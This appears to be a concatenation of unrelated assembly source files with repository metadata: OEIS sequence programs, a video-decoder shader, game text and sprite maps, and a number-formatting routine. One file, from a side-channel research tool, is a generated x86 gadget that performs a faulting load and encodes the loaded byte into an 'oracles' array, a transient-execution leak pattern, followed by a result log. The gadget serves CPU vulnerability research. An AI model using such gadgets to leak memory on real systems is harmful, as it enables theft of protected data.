4347399730997929,6602346876188694799461995863,-13204693752377389598923991721,26409387504754779197847983447,-52818775009509558395695966889,105637550019019116791391933783,-211275100038038233582783867561 lpb $0 mov $2,$0 mov $0,0 seq $2,140966 ; a(n) = (5 + (-2)^n)/3. lpe mov $0,$2
178.1
1,644
0.88265
422753851982ebda9400d3b67b24a19709c31bc1
791
asm
Assembly
programs/oeis/111/A111955.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/111/A111955.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/111/A111955.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A111955: a(n) = A078343(n) + (-1)^n. ; 0,1,4,7,20,45,112,267,648,1561,3772,9103,21980,53061,128104,309267,746640,1802545,4351732,10506007,25363748,61233501,147830752,356895003,861620760,2080136521,5021893804,12123924127,29269742060,70663408245 mov $5,2 mov $10,$0 lpb $5 mov $0,$10 sub $5,1 add $0,$5 sub $0,1 mov $6,$0 mov $7,0 mov $8,2 lpb $8 mov $0,$6 mov $3,0 sub $8,1 add $0,$8 sub $0,1 lpb $0 mov $2,$0 trn $0,2 max $2,0 seq $2,174192 ; Expansion of (1-x+2x^2)/ ((1-x)*(1-2x-x^2)). add $3,$2 sub $3,1 lpe mov $9,$8 mul $9,$3 add $7,$9 mov $11,$3 lpe mov $4,$5 min $6,1 mul $6,$11 mov $11,$7 sub $11,$6 mul $4,$11 add $1,$4 lpe min $10,1 mul $10,$11 sub $1,$10 mov $0,$1
17.577778
206
0.542351
8d68d3578eba79123aaadaaf41af79bffdce5001
7,128
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_874.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_874.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_874.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x80c9, %rsi nop nop sub %rbp, %rbp movups (%rsi), %xmm3 vpextrq $1, %xmm3, %rax nop nop add $4845, %rdx lea addresses_A_ht+0x48fd, %rcx nop inc %r11 mov $0x6162636465666768, %r12 movq %r12, %xmm4 movups %xmm4, (%rcx) nop nop nop nop nop xor $12306, %rdx lea addresses_UC_ht+0x1e23d, %rsi lea addresses_D_ht+0x1227d, %rdi xor $4737, %r11 mov $17, %rcx rep movsb nop xor $46235, %rdi lea addresses_normal_ht+0x93d, %rsi nop nop nop nop cmp %r11, %r11 mov $0x6162636465666768, %r12 movq %r12, (%rsi) xor $42436, %rsi lea addresses_D_ht+0x593d, %rax and $22860, %rcx movb $0x61, (%rax) dec %r11 lea addresses_D_ht+0x99bd, %rsi lea addresses_normal_ht+0xbc7d, %rdi clflush (%rsi) nop nop nop nop add %r11, %r11 mov $53, %rcx rep movsl nop nop xor %r11, %r11 lea addresses_D_ht+0x18f3d, %r12 nop nop xor %r11, %r11 movw $0x6162, (%r12) xor $47509, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %r8 push %rcx push %rdi push %rdx // Load lea addresses_D+0xe93d, %r11 nop nop nop nop dec %r8 mov (%r11), %r12d // Exception!!! mov (0), %r12 nop add $25333, %rdi // Store lea addresses_WC+0x873d, %rdi nop nop add $22584, %r12 movl $0x51525354, (%rdi) nop nop nop nop cmp %r11, %r11 // Store mov $0x31f, %rdi nop nop nop nop add $6914, %rcx movw $0x5152, (%rdi) // Exception!!! nop nop nop mov (0), %r14 nop nop nop nop nop and %rdi, %rdi // Load mov $0x13d, %rdi and %r12, %r12 mov (%rdi), %dx nop nop nop nop sub %r8, %r8 // Store lea addresses_RW+0x11dad, %rdi add %r11, %r11 mov $0x5152535455565758, %rdx movq %rdx, %xmm1 vmovntdq %ymm1, (%rdi) nop nop nop sub %r12, %r12 // Store lea addresses_RW+0x1718d, %r11 nop nop nop and $61284, %r8 movb $0x51, (%r11) nop sub %r14, %r14 // Faulty Load lea addresses_D+0xe93d, %r11 and %r8, %r8 mov (%r11), %rdi lea oracles, %r14 and $0xff, %rdi shlq $12, %rdi mov (%r14,%rdi,1), %rdi pop %rdx pop %rdi pop %rcx pop %r8 pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC'}} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_P'}} {'src': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_P'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 32, 'NT': True, 'type': 'addresses_RW'}} {'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_RW'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_D_ht'}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
34.105263
2,999
0.64913
4c91a2934e557dec9b54cc075c91860a0df34ba7
2,286
asm
Assembly
src/shaders/h264/ildb/Load_ILDB_Cntrl_Data_16DW.asm
tizenorg/platform.upstream.libva-intel-driver
9ffc32731bacbfec2cef3d9fb5eb4c0c43952b90
[ "MIT" ]
null
null
null
src/shaders/h264/ildb/Load_ILDB_Cntrl_Data_16DW.asm
tizenorg/platform.upstream.libva-intel-driver
9ffc32731bacbfec2cef3d9fb5eb4c0c43952b90
[ "MIT" ]
null
null
null
src/shaders/h264/ildb/Load_ILDB_Cntrl_Data_16DW.asm
tizenorg/platform.upstream.libva-intel-driver
9ffc32731bacbfec2cef3d9fb5eb4c0c43952b90
[ "MIT" ]
null
null
null
/* * Copyright © <2010>, Intel Corporation. * * This program is licensed under the terms and conditions of the * Eclipse Public License (EPL), version 1.0. The full text of the EPL is at * http://www.opensource.org/licenses/eclipse-1.0.php. * */ // Module name: load_ILDB_Cntrl_Data_16DW.asm // // This module loads AVC ILDB 64DW control data for one MB CTG. // Dataport expands from 16DW to 64DW. // //---------------------------------------------------------------- // Symbols need to be defined before including this module // // Source region in :ud // CNTRL_DATA_D: CNTRL_DATA_D Base=rxx ElementSize=4 SrcRegion=REGION(8,1) Type=ud // 8 GRFs // // Binding table index: // BI_CNTRL_DATA: Binding table index of control data surface // //---------------------------------------------------------------- // On CTG, MB control data in memory occupy 16 DWs. Data port returns 8 GRFs with expanded control data. #if defined(_MBAFF) // We need to get control data offset for the bottom MB in mbaff mode. // That is, get f0.1=1 if MbaffFlag==1 && BotFieldFlag==1 // and (1) CTemp1_W:uw BitFields:uw MbaffFlag+BotFieldFlag:uw // Mute all other bits // cmp.e.f0.1 (1) NULLREGW CTemp1_W:uw MbaffFlag+BotFieldFlag:uw // Check mbaff and bot flags and.ne.f0.1 (1) NULLREGW BitFields:uw BotFieldFlag:uw // Global offset mov (1) MSGSRC.2:ud CntrlDataOffsetY:ud (f0.1) add (1) MSGSRC.2:ud MSGSRC.2:ud 64:w // +64 to the next MB control data (bot MB) #endif send (8) CNTRL_DATA_D(0)<1> MSGHDRY MSGSRC<8;8,1>:ud DAPREAD RESP_LEN(8)+ILDBRMSGDSC+BI_CNTRL_DATA // Receive 8 GRFs // End of load_ILDB_Cntrl_Data_16DW.asm // AVC ILDB control data message header format //DWord Bit Description //M0.7 31:0 Debug //M0.6 31:0 Debug //M0.5 31:8 Ignored // 7:0 Dispatch ID. // This ID is assigned by the fixed function unit and is a unique identifier for the thread. It is used to free up resources used by the thread upon thread completion. //M0.4 31:0 Ignored //M0.3 31:0 Ignored //M0.2 31:0 Global Offset. Specifies the global byte offset into the buffer. // This offset must be OWord aligned (bits 3:0 MBZ) Format = U32 Range = [0,FFFFFFF0h] //M0.1 31:0 Ignored //M0.0 31:0 Ignored
36.285714
191
0.650919
ea61a5d2933a06fdbce563b558e21d7b05ebc039
106
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/llround.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/llround.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/llround.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
SECTION code_fp_math48 PUBLIC _llround EXTERN cm48_sdcciy_llround defc _llround = cm48_sdcciy_llround
11.777778
35
0.858491
33c4eb0ffe527657ab791c32947e9c2fc5398125
1,417
asm
Assembly
programs/oeis/036/A036219.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/036/A036219.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/036/A036219.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A036219: Expansion of 1/(1-3*x)^6; 6-fold convolution of A000244 (powers of 3). ; 1,18,189,1512,10206,61236,336798,1732104,8444007,39405366,177324147,773778096,3288556908,13660159464,55616363532,222465454128,875957725629,3400777052442,13036312034361,49400761393368,185252855225130,688082033693340,2533392942234570,9252391615117560,33539919604801155,120743710577284158,431890964757208719,1535612319136742112,5429486414090623896,19096814284042884048,66838849994150094168,232857929011877747424,807725941259950936377,2790325978898012325666,9602004103854924767733,32921156927502599203656,112480619502300547279158,383042109656482944788484,1300327161728586838887222,4401107316619832377772136,14853737193591934274980959,49995505675992364145057862,167842054769402936772694251,562075718297535416169022608,1877843877039493322201052804,6259479590131644407336842680,20819573419350904224402976740,69103264966356192744826901520,228904565201054888467239111285,756786521685120243503933388330,2497395521560896803562980181489,8226714659259424764678052362552,27053234744872339129998979884546,88816280105807302049430613205868,291120029235701712273133676619234,952756459316841967439346578026584,3113472000981822857882150424622587,10159750740045948273089122438242126,33106773963253176269204209324616583,107737298321095082096393359158074304,350146219543559016813278417263741488 mov $1,-3 pow $1,$0 mov $2,-6 bin $2,$0 mul $1,$2 mov $0,$1
141.7
1,273
0.91602
8faefd3fb4e665762bafd10846b5b296db8741e6
523
asm
Assembly
text/maps/hall_of_fame.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
16
2018-08-28T21:47:01.000Z
2022-02-20T20:29:59.000Z
text/maps/hall_of_fame.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
5
2019-04-03T19:53:11.000Z
2022-03-11T22:49:34.000Z
text/maps/hall_of_fame.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
2
2019-12-09T19:46:02.000Z
2020-12-05T21:36:30.000Z
_HallofFameRoomText1:: text "OAK: Er-hem!" line "Congratulations," cont "<PLAYER>!" para "This floor is the" line "#MON HALL OF" cont "FAME!" para "#MON LEAGUE" line "champions are" cont "honored for their" cont "exploits here!" para "Their #MON are" line "also recorded in" cont "the HALL OF FAME!" para "<PLAYER>! You have" line "endeavored hard" cont "to become the new" cont "LEAGUE champion!" para "Congratulations," line "<PLAYER>, you and" cont "your #MON are" cont "HALL OF FAMERs!" done
18.034483
26
0.676864
72b9962c52ec334d93010696857491b7835ab54a
3,747
asm
Assembly
D2Str.asm
qynvi/laserturret
ca93024826c6ea4b5efecf7d2f353f3214d1a78d
[ "MIT" ]
null
null
null
D2Str.asm
qynvi/laserturret
ca93024826c6ea4b5efecf7d2f353f3214d1a78d
[ "MIT" ]
null
null
null
D2Str.asm
qynvi/laserturret
ca93024826c6ea4b5efecf7d2f353f3214d1a78d
[ "MIT" ]
null
null
null
NAME DEC2STRING CGROUP GROUP CODE CODE SEGMENT PUBLIC 'CODE' ASSUME CS:CGROUP $INCLUDE(constant.inc) ; Numeric Conversion Functions ; Dec2String ; ; Description: ; This function accepts input as a 16-bit signed decimal value as �n�, ; then converts this input into a string storing six digits maximum plus ; sign. The output, a string, should contain the <null> terminated decimal ; representation of the input value in ASCII. ; ; Operation: ; Using decimal powers, the function iterates through each digit of the input. ; For each digit that is not a leading zero, it converts and writes that digit into ; string. Finally, it adds a null termination. ; ; Arguments: ; 'n' (AX) - 16 bit decimal to be converted. ; 'a' (SI) - Offset in SI to store the string result. ; ; Return Values: Offset in SI ; ; Local Variables: ; pwr10 - BP (we don't have to use 1000 like in the outline) ; loop counter - DI ; digit - AX ; boolean - BX (takes values of false or true) ; number - CX ; Shared Variables: ; Global Variables: ; ; Input: ; Output: ; ; Error Handling: ; ; Registers Changed: Flags, AX, BX, CX, DX, DI ; Stack Depth: 4 bytes ; ; Algorithms: ; Data Structures: ; ; Known Bugs: ; Limitations: ; ; Revision History: ; 05/01/09 William Fan ; Repackage for final release. ; 02/15/09 William Fan ; Added include file. ; Shortened comments. ; 01/31/09 William Fan Dec2String PROC NEAR PUBLIC Dec2String PUSH SI ;SI stores start of the string PUSH BP ;store BP - we'll need this to manipulate digits later MOV BP, 10 ;pwr10 becomes BP MOV CX, AX MOV BX, FALSEWORD CMP CX, 0 ;IF branch check to see if 'n' is negative JGE LoopInit ;IF >= 0, go to the digit interation. (SF = OF) ;JL nNegative nNegative: MOV BYTE PTR [SI], '-' ;manually append "-" sign to string INC SI ;move the string index to the next byte NEG CX ;if negative, negate so can convert it anyways ;JMP LoopInit ;start iterating digits LoopInit: MOV DI, 10000 ;initialize pwr10 to look at first digit ;JMP DecIteration DecIteration: CMP DI, 0 ;confirm pwr10 is above 0. JE Break ;if it is not, we are done iterating ;JMP MainLoop ;ELSE we need to keep iterating, using the loop MainLoop: MOV AX, CX ;number goes to both AX and CX (so we can divide) MOV DX, 0 DIV DI ;pwr10 to divide number and isolate digits MOV DX, 0 DIV BP ;store the remainder from DX to AX MOV AX, DX ;current digit CMP BX, TRUE ;check if we've written a number today JE Write ;write the digit CMP AX, 0 JE Update ;leading zeroes - move on to the next digit ;JNE Write ;ELSE, we attempt to write the digit Write: ADD AX, '0' ;convert the current digit to ASCII MOV [SI], AX ;write the current digit to the string MOV BX, TRUE INC SI ;move the string index to the next byte ;JL Update ;update the digit counter Update: MOV AX, DI ;update iteration (pwr10) if digit down MOV DX, 0 DIV BP MOV DI, AX ;newly reduced pwr10 (iteration counter) JMP DecIteration ;restart iteration from top ;JL Break ;otherwise, terminate the loop Break: CMP BX, TRUE ;confirm BX is nontrivial JE Dec2Stringed ;JNE ZeroPadding ;if not, we need to pad zeroes ZeroPadding: MOV BYTE PTR [SI], '0' ;force write a zero INC SI ;move the string index to the next character Dec2Stringed: MOV BYTE PTR [SI], NULL ;null termination of the output string POP BP POP SI ;string index returns to offset of start of string RET Dec2String ENDP CODE ENDS END
27.152174
84
0.662663
469fc159cc4025d7097e79555918828b1b184867
404
asm
Assembly
oeis/052/A052904.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/052/A052904.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/052/A052904.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A052904: Expansion of (1-x)/(1-2x-4x^2+4x^3). ; Submitted by Christian Krause ; 1,1,6,12,44,112,352,976,2912,8320,24384,70400,205056,594176,1726976,5010432,14552064,42237952,122642432,356028416,1033674752,3000893440,8712372224,25293619200,73433153536,213191294976,618940727296 mov $1,1 lpb $0 sub $0,1 mov $2,$1 add $3,$1 add $1,$4 mul $2,4 add $2,$3 sub $2,$4 add $4,$2 lpe mov $0,$1
23.764706
198
0.69802
5177243f7e989562de344b6e3e3d10f3391913de
1,527
asm
Assembly
_maps/obj26.asm
NatsumiFox/AMPS-Sonic-1-2005
ac8730799f1b96291358c77a4b64529de94ce8a4
[ "Apache-2.0" ]
2
2020-04-09T19:36:35.000Z
2021-01-05T14:20:17.000Z
_maps/obj26.asm
NatsumiFox/AMPS-Sonic-1-2005
ac8730799f1b96291358c77a4b64529de94ce8a4
[ "Apache-2.0" ]
null
null
null
_maps/obj26.asm
NatsumiFox/AMPS-Sonic-1-2005
ac8730799f1b96291358c77a4b64529de94ce8a4
[ "Apache-2.0" ]
1
2020-06-17T14:16:35.000Z
2020-06-17T14:16:35.000Z
; --------------------------------------------------------------------------- ; Sprite mappings - monitors ; --------------------------------------------------------------------------- dc.w byte_A5A2-Map_obj26, byte_A5A8-Map_obj26 dc.w byte_A5B3-Map_obj26, byte_A5BE-Map_obj26 dc.w byte_A5C9-Map_obj26, byte_A5D4-Map_obj26 dc.w byte_A5DF-Map_obj26, byte_A5EA-Map_obj26 dc.w byte_A5F5-Map_obj26, byte_A600-Map_obj26 dc.w byte_A60B-Map_obj26, byte_A616-Map_obj26 byte_A5A2: dc.b 1 ; static monitor dc.b $EF, $F, 0, 0, $F0 byte_A5A8: dc.b 2 ; static monitor dc.b $F5, 5, 0, $10, $F8 dc.b $EF, $F, 0, 0, $F0 byte_A5B3: dc.b 2 ; static monitor dc.b $F5, 5, 0, $14, $F8 dc.b $EF, $F, 0, 0, $F0 byte_A5BE: dc.b 2 ; Eggman monitor dc.b $F5, 5, 0, $18, $F8 dc.b $EF, $F, 0, 0, $F0 byte_A5C9: dc.b 2 ; Sonic monitor dc.b $F5, 5, 0, $1C, $F8 dc.b $EF, $F, 0, 0, $F0 byte_A5D4: dc.b 2 ; speed shoes monitor dc.b $F5, 5, 0, $24, $F8 dc.b $EF, $F, 0, 0, $F0 byte_A5DF: dc.b 2 ; shield monitor dc.b $F5, 5, 0, $28, $F8 dc.b $EF, $F, 0, 0, $F0 byte_A5EA: dc.b 2 ; invincibility monitor dc.b $F5, 5, 0, $2C, $F8 dc.b $EF, $F, 0, 0, $F0 byte_A5F5: dc.b 2 ; 10 rings monitor dc.b $F5, 5, 0, $30, $F8 dc.b $EF, $F, 0, 0, $F0 byte_A600: dc.b 2 ; 'S' monitor byte_A601: dc.b $F5, 5, 0, $34, $F8 dc.b $EF, $F, 0, 0, $F0 byte_A60B: dc.b 2 ; goggles monitor dc.b $F5, 5, 0, $20, $F8 dc.b $EF, $F, 0, 0, $F0 byte_A616: dc.b 1 ; broken monitor dc.b $FF, $D, 0, $38, $F0 even
34.704545
77
0.536346
8f0e043092109fc45a8f43f57a42bc966515889b
4,407
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1845.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1845.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1845.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r8 push %r9 push %rax push %rbp push %rbx push %rdi lea addresses_UC_ht+0x89cf, %rbp nop nop sub %r9, %r9 vmovups (%rbp), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $1, %xmm5, %rax nop nop nop nop xor %rdi, %rdi lea addresses_UC_ht+0x4c61, %rbx sub $16383, %r10 movups (%rbx), %xmm6 vpextrq $0, %xmm6, %r8 nop nop sub %r9, %r9 pop %rdi pop %rbx pop %rbp pop %rax pop %r9 pop %r8 pop %r10 ret .global s_faulty_load s_faulty_load: push %r15 push %rax push %rbp push %rbx push %rcx push %rdi // Faulty Load lea addresses_WC+0x61cf, %rcx nop nop cmp %r15, %r15 vmovups (%rcx), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $1, %xmm5, %rax lea oracles, %rbp and $0xff, %rax shlq $12, %rax mov (%rbp,%rax,1), %rax pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r15 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1}} {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 